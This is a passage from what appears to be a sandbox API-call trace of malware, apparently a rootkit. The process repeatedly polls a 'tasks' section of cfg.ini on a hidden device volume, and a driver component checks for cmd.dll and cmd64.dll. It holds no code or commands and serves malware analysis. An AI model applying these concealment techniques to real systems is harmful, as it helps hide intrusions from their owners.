(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.467] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.467] IdePortDispatch () returned 0x103 [0125.467] KeWaitForMutexObject () returned 0x0 [0125.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.467] KeLeaveCriticalRegion () [0125.467] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.467] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.467] KeEnterCriticalRegion () [0125.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.467] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.467] KeLeaveCriticalRegion () [0125.467] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.468] KeEnterCriticalRegion () [0125.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.468] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.468] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7920, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.468] KeLeaveCriticalRegion () [0125.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.468] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.468] KeEnterCriticalRegion () [0125.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.468] ExFreePoolWithTag (P=0xfffffa8003bf7570, Tag=0x0) [0125.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.468] KeLeaveCriticalRegion () [0125.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.468] ReleaseMutex (hMutex=0xf0) returned 1 [0125.468] Sleep (dwMilliseconds=0x927c0) [0125.481] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.481] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.481] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.481] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.481] KeEnterCriticalRegion () [0125.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.481] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.481] IdePortDispatch () returned 0x103 [0125.482] KeWaitForMutexObject () returned 0x0 [0125.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.482] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.482] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.482] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.482] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.482] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7170 [0125.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.482] KeLeaveCriticalRegion () [0125.482] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.482] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.482] KeEnterCriticalRegion () [0125.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.482] KeLeaveCriticalRegion () [0125.482] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.482] KeEnterCriticalRegion () [0125.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.482] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.482] IdePortDispatch () returned 0x103 [0125.482] KeWaitForMutexObject () returned 0x0 [0125.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.482] KeLeaveCriticalRegion () [0125.482] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.482] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.483] KeEnterCriticalRegion () [0125.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.483] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5f000 [0125.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.483] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.483] IdePortDispatch () returned 0x103 [0125.483] KeWaitForMutexObject () returned 0x0 [0125.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.483] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.483] IdePortDispatch () returned 0x103 [0125.483] KeWaitForMutexObject () returned 0x0 [0125.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.483] KeLeaveCriticalRegion () [0125.483] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.484] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.484] KeEnterCriticalRegion () [0125.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.484] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.484] KeLeaveCriticalRegion () [0125.484] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.484] KeEnterCriticalRegion () [0125.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.484] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.484] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.484] KeLeaveCriticalRegion () [0125.484] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.484] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.484] KeEnterCriticalRegion () [0125.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.484] ExFreePoolWithTag (P=0xfffffa8003bf7170, Tag=0x0) [0125.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.484] KeLeaveCriticalRegion () [0125.484] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.484] ReleaseMutex (hMutex=0xf0) returned 1 [0125.484] Sleep (dwMilliseconds=0x927c0) [0125.499] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.499] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.499] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.499] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.499] KeEnterCriticalRegion () [0125.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.500] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.500] IdePortDispatch () returned 0x103 [0125.500] KeWaitForMutexObject () returned 0x0 [0125.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.500] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.500] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.500] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.500] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.500] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7960 [0125.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.500] KeLeaveCriticalRegion () [0125.500] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.500] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.500] KeEnterCriticalRegion () [0125.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.500] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.500] KeLeaveCriticalRegion () [0125.500] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.500] KeEnterCriticalRegion () [0125.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.500] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.500] IdePortDispatch () returned 0x103 [0125.501] KeWaitForMutexObject () returned 0x0 [0125.501] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.501] KeLeaveCriticalRegion () [0125.501] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.501] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.501] KeEnterCriticalRegion () [0125.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.501] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c64000 [0125.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.501] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.501] IdePortDispatch () returned 0x103 [0125.501] KeWaitForMutexObject () returned 0x0 [0125.501] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.501] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.501] IdePortDispatch () returned 0x103 [0125.501] KeWaitForMutexObject () returned 0x0 [0125.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.501] KeLeaveCriticalRegion () [0125.501] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.502] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.502] KeEnterCriticalRegion () [0125.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.502] KeLeaveCriticalRegion () [0125.502] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.502] KeEnterCriticalRegion () [0125.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.502] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.502] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.502] KeLeaveCriticalRegion () [0125.502] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.502] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.502] KeEnterCriticalRegion () [0125.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.502] ExFreePoolWithTag (P=0xfffffa8003bf7960, Tag=0x0) [0125.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.502] KeLeaveCriticalRegion () [0125.502] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.502] ReleaseMutex (hMutex=0xf0) returned 1 [0125.502] Sleep (dwMilliseconds=0x927c0) [0125.517] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.517] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.517] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.517] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.517] KeEnterCriticalRegion () [0125.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.517] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.517] IdePortDispatch () returned 0x103 [0125.517] KeWaitForMutexObject () returned 0x0 [0125.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.517] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.517] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.517] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.517] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.517] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.517] KeLeaveCriticalRegion () [0125.517] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.517] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.517] KeEnterCriticalRegion () [0125.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.517] KeLeaveCriticalRegion () [0125.517] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.517] KeEnterCriticalRegion () [0125.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.517] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.517] IdePortDispatch () returned 0x103 [0125.518] KeWaitForMutexObject () returned 0x0 [0125.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.518] KeLeaveCriticalRegion () [0125.518] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.518] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.518] KeEnterCriticalRegion () [0125.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.518] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6d000 [0125.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.518] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.518] IdePortDispatch () returned 0x103 [0125.518] KeWaitForMutexObject () returned 0x0 [0125.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.518] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.518] IdePortDispatch () returned 0x103 [0125.519] KeWaitForMutexObject () returned 0x0 [0125.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.519] KeLeaveCriticalRegion () [0125.519] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.519] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.519] KeEnterCriticalRegion () [0125.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.519] KeLeaveCriticalRegion () [0125.519] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.519] KeEnterCriticalRegion () [0125.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.519] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.519] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.519] KeLeaveCriticalRegion () [0125.519] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.519] _snprintf (in: 